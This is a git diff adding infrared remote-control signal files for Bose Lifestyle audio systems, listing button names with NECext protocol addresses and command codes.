+# +name: INFO +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 64 00 00 00 +# +name: ENCORE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 65 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 66 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 67 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 68 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 69 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 9D 00 00 00 +# +name: TCPC_DOWN +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 9D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 9F 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B1 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA B1 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B1 00 00 +command: B3 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B1 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA B1 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA B1 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA B1 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA B1 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,178.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,178.ir new file mode 100644 index 000000000..60fefa9a5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,178.ir @@ -0,0 +1,584 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 01 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 06 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 06 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 0D 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 0E 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 0F 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 15 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 15 00 00 00 +# +name: TCPC_DOWN +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 18 00 00 00 +# +name: TCPC_UP +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 19 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 40 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 41 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 42 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 43 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 44 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 45 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 46 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 49 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 49 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 4C 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 4D 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 53 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 55 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 56 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 56 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 57 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 58 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 5C 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 63 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 64 00 00 00 +# +name: ENCORE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 65 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 66 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 67 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 68 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 69 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 9D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 9F 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B2 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA B2 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B2 00 00 +command: B3 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B2 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA B2 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA B2 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE_2 +type: parsed +protocol: NECext +address: BA B2 00 00 +command: F4 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA B2 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA B2 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,179.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,179.ir new file mode 100644 index 000000000..99f8234df --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,179.ir @@ -0,0 +1,572 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 01 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 06 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 06 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 0D 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 0F 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 15 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 15 00 00 00 +# +name: TCPC_DOWN +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 18 00 00 00 +# +name: TCPC_UP +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 19 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 40 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 41 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 42 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 43 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 44 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 45 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 46 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 47 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 49 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 49 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 4C 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 4D 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 53 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 55 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 56 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 56 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 57 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 58 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 5C 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 63 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 64 00 00 00 +# +name: ENCORE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 65 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 66 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 67 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 68 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 69 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 9D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 9F 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B3 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA B3 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B3 00 00 +command: B3 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B3 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA B3 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA B3 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA B3 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA B3 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,180.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,180.ir new file mode 100644 index 000000000..16894a8c5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,180.ir @@ -0,0 +1,578 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 01 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 06 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 06 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 0D 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 0E 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 0F 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 15 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 15 00 00 00 +# +name: TCPC_DOWN +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 18 00 00 00 +# +name: TCPC_UP +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 19 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 40 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 41 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 42 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 43 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 44 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 45 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 46 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 47 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 49 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 49 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 4C 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 4D 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 53 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 55 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 56 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 56 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 57 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 58 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 5C 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 63 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed 